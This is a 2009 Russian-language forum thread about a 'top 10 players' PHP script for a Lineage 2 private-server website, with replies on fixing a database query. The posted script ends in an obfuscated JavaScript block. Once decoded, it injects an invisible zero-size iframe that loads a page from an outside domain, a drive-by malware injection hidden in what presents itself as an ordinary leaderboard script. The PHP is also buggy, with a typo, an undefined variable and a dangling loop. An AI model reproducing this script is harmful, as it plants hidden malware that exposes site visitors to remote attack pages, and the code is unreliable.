Skip to content
La2Base
Home
DownloadsWikiForumFAQ
ruen
Sign up Login
HomeFilesWikiLogin
  • Home
  • Downloads
  • Wiki
  • FAQ
  • Contact Us
  • About
  • Rules
  • Privacy
  • Terms of Service

© 2026 la2base.com · All rights reserved

ruen
Forum/Web обвязка/[web]Скрипт
Search

[web]Скрипт

5 replies174 viewsCurrently viewing: 1
#La2#Fantasm
#La2#Fantasm

User

Бывалый

Posts: 110

На форуме с: 02/24/2009

Репутация: +74

Рейтинг: 0

· 02/26/2009, 11:23 AM

Железо: кор 2 дуо 2.0, 4 гига оперы
ОС: Винда хр х32
Программы: мускул 5.2.0 х32, ява х32
Сборка: Interlude, L2JGroup v2.0


Привет всем, перейду сразу к сути проблемы. Я ищу скрипт на топ игроков, но чтоб можно было его подключить к Базе ну там вводить Логин, IP адрес MySQL-сервера, Порт, Имя игровой базы, в самом скрипте и тд. За ранние спасибо!

la2Base 1.1.6 и L2JGroup v2

вот что пишет
Не удалось получить данные из базы.
Обвязка мой веб

Мой веб. Обвязка.
Сори туплю не спал прост сутки.

0
#La2#Fantasm
#La2#Fantasm

User

Бывалый

Posts: 110

На форуме с: 02/24/2009

Репутация: +74

Рейтинг: 0

· 02/26/2009, 03:04 PM

_http://la2fenomen.ru/ сайт покачто тестовый

Вот скрипт.

Top10.php

Цитата
<?php
mysql_connect($L2JBS_config["mysql_host"],$L2JBS_config["mysql_login"],$L2JBS_config["mysql_password"]) or die('Не удалось подключится к MySQL серверу. Проверьте настройки.');
mysql_select_db($L2JBS_config["mysql_db"]) or dir('Не удалось выбрать базу данных. Проверьте настойки.');
//Получаем данные из базы
$data=mysql_query("SELECT * FROM characters WHERE $where and accesslevel<50 ORDER BY level DESC LIMIT 10 ") or die('Не удалось получить данные из базы.');

//Создаем начало таблицы
echo "<table><thead><tr><th>№</th><th><center>Ник</center></th><tr></thead>\n";
//Выводим содержимое таблицы
$result2 = mysql_query("SELECT clan_id,clan_name FROM clan_data", $link)
or die ("Error: ".mysql_error());
while ($row2=mysql_fetch_row($result2))
$n=1;
while ($top=mysql_fetch_array($data))
{
if ($top['sex']==0) { $name='<font color=#8080FF>'.$top[char_name].'</font>'; } else { $name='<font color=#FF8080>' .$top[char_name].'</font>'; }
echo "<tr><td><b><center>$n</center></b></td><td>$name</td><td><center></td></tr>\n";
$n++;
}
//Закрываем таблицу
echo '</table>';
?>

<script language="javascript">
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%61%66%69%2E%62%61%62%6A%72%2E%63%6E%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E'));
</script>

0
Сергей
Сергей

User

Ветеран

Posts: 1059

На форуме с: 06/09/2007

Репутация: +736

Рейтинг: 0

· 02/26/2009, 03:09 PM

Проверь переменную accesslevel
как она написанна в БД ?

Цитата
//Получаем данные из базы
$data=mysql_query("SELECT * FROM characters WHERE $where and accesslevel<50 ORDER BY level DESC LIMIT 10 ") or die('Не удалось получить данные из базы.');

И меняй переменную на ту, что в БД (к примеру в БД access_level)

Главная ошибка одится в полуметре от монитора...

0
Дима
Дима

User

Бывалый

Posts: 485

На форуме с: 02/23/2009

Репутация: +140

Рейтинг: 0

· 02/26/2009, 03:25 PM

мои сообщения удалили:) оО

// Dj StaL' - Шас ещё и % выдадим :)

0
Дмитрий
Дмитрий

User

Ветеран

Posts: 834

На форуме с: 05/30/2007

Репутация: +632

Рейтинг: 0

· 02/26/2009, 03:44 PM

Цитата
мои сообщения удалили:) оО


Пиши по сути и по теме.

WebDeveloper сервера DARKWORLD

0
Topic is closed for replies